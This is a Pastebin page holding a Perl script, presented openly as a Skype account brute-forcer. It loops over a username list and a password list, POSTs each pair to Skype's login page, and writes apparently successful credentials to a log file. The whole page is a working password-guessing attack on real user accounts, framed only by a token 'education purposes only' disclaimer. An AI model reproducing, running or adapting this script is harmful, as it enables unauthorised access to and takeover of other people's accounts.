Advertisement
TrojanSpot

Skype BruteForce | www.pemula.info

Oct 15th, 2012
605
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.47 KB | None | 0 0
  1. #!perl
  2. #----------------------------------------------------------------------------------------------|
  3. #With this program you can bruteforce skype accounts                                           |
  4. #Authors: Alexander Rachev (a.k.a matrix_killer)                                               |
  5. #Contact: matrix_k _at_ abv.bg                                                                 |
  6. #Version: 1.0                                                                                  |
  7. #Copyright: this program is under a Creative Commons Attribution 2.5 Bulgaria License.         |
  8. #Greets: Bl0od3r, Acid_BDS, Alpha-fan and all other friends[they know who they are ;)]         |
  9. #                                   !WARNING!                                                  |
  10. # THIS PROGRAM IS MADE FOR EDUCATION PURPOSES ONLY ! I'M NOT RESPONSIBLE FOR YOUR ACTIONS !!!  |
  11. #----------------------------------------------------------------------------------------------|
  12.  
  13. #http://search.cpan.org/~dland/Crypt-SSLeay-0.54/SSLeay.pm IS REQUIRED !!!!
  14.  
  15.  use Getopt::Std;
  16.  use HTTP::Request::Common qw(POST);
  17.  use LWP::UserAgent;
  18.  
  19. $SIG{'INT'} = \&sig_catch;$SIG{'HUP'}='IGNORE';$SIG{'TERM'}='IGNORE';
  20. $SIG{'CHLD'}='IGNORE';$SIG{'ALRM'}='IGNORE';
  21.  
  22.   $| = 1;
  23.  
  24.   sub sig_catch {
  25.   exit;
  26.   }
  27.  
  28.   getopts('u:p:');
  29.   our($opt_u,$opt_p);
  30.  
  31.   my $userlist = $opt_u;
  32.   my $passlist = $opt_p;
  33.  
  34.     if ($userlist eq "") {
  35.     print "\n";
  36.     print "***************************************************************************\n";
  37.     print "Skype Bruteforcer v1.0                                                       \n";
  38.     print "By Alexander Rachev(a.k.a matrix_killer)                                     \n";
  39.     print "usage: perl $0 -u <users> -p <passwords>                                     \n";
  40.     print "***************************************************************************\n";
  41.     exit (1);
  42.     }
  43.  
  44.     open(USERS, "<$userlist") || die ("Cannot open username file");
  45.     open(WORDS, "<$passlist") || die ("Cannot open password file");
  46.     @users= <USERS>;
  47.     @words= <WORDS>;
  48.     close(USERS);
  49.     close(WORDS);
  50.     $i=0;
  51.  
  52.  foreach $user (@users) {
  53.  chomp($user);
  54.  foreach $pass (@words) {
  55.  chomp($pass);
  56.  $ua = LWP::UserAgent->new;
  57.  printf("\n%5d Trying $user:$pass", ++$i);
  58.  my $req = POST 'https://secure.skype.com/store/member/dologin.html',
  59.                 [ username => $user, password => $pass, login => 'Sign+me+in' ];
  60.  
  61.   my $res = $ua->request($req);
  62.  
  63.   if ($res->as_string =~ /cookiecheck/gi) {
  64.   open (LOG, ">>bruted_skype_accounts.txt");
  65.   $time = time();
  66.   $loctime = localtime($time);
  67.   print LOG "\n";
  68.   print LOG "Time: $loctime\n";
  69.   print LOG "username: $user\n";
  70.   print LOG "passowrd: $pass\n\n";
  71.   close(LOG);
  72.   }}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement